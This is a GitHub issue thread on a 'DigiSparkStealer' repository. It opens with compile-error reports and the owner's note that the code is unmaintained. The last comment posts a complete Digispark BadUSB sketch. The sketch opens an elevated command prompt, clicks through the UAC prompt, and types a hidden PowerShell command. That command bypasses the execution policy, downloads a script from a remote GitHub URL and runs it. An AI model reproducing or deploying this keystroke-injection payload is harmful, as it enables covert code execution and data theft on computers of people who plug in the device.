Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Keyboard.h:25:17: fatal error: HID.h: No such file or directory #include "HID.h" #13

Open
loner99 opened this issue Dec 18, 2022 · 4 comments

Comments

@loner99
Copy link

loner99 commented Dec 18, 2022

When I try to upload the sketch, i get this message:

In file included from C:\Users\dubai\Desktop\New folder (2)\New folder\DigiSparkStealer-master\arduino_source\sketch\sketch.ino:1:0:
C:\Users\dubai\AppData\Local\Arduino15\libraries\Keyboard\src/Keyboard.h:25:17: fatal error: HID.h: No such file or directory
#include "HID.h"
^
compilation terminated.

exit status 1

Compilation error: exit status 1

@basgod
Copy link

basgod commented May 5, 2023

same

1 similar comment
@danile371
Copy link

same

@kovinevmv
Copy link
Owner

Unfortunately, i dont have this plate and cannot help u with debugging code. I haven't maintained this code for 5 years

@danile371
Copy link

#include <DigiKeyboard.h>

void typeKeyFast(char key){
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(100);
DigiKeyboard.sendKeyStroke(0, key);
}

void startCMD(){
DigiKeyboard.delay(450);
DigiKeyboard.sendKeyStroke(0, KEY_LEFT_CTRL);
DigiKeyboard.delay(100);
DigiKeyboard.sendKeyStroke(0, KEY_ESC);
DigiKeyboard.delay(100);
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(300);
DigiKeyboard.println("cmd");
DigiKeyboard.delay(140);
DigiKeyboard.sendKeyStroke(0, KEY_LEFT_CTRL);
DigiKeyboard.delay(140);
DigiKeyboard.sendKeyStroke(0, KEY_LEFT_SHIFT);
DigiKeyboard.delay(10);
typeKeyFast(KEY_RETURN);
DigiKeyboard.delay(1500);
}

void bypassUAC(){
typeKeyFast(KEY_TAB);
typeKeyFast(KEY_TAB);
for (int i = 0; i < 70; i++){
typeKeyFast(KEY_BACKSPACE);
}
typeKeyFast(KEY_RETURN);
DigiKeyboard.delay(500);
}

void printCommand(){
DigiKeyboard.println("PowerShell.exe -windowstyle hidden Set-ExecutionPolicy Bypass -Force (new-object System.Net.WebClient).DownloadFile('https://codeload.github.com/danile371/legal/zip/refs/heads/main?token=BEH7SDLJ7F2ONAMVQ3O4KADGBQX7O', 'b.ps1'); Set-ExecutionPolicy Unrestricted; .\b.ps1");
typeKeyFast(KEY_RETURN);
}

void setup() {
DigiKeyboard.delay(5000); // Delay para dar tempo de conectar o dispositivo
startCMD();
bypassUAC();
printCommand();
}

void loop() {
int led2 = 13;
digitalWrite(led2, LOW);
delay(120);
digitalWrite(led2, HIGH);
delay(120);
}

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

4 participants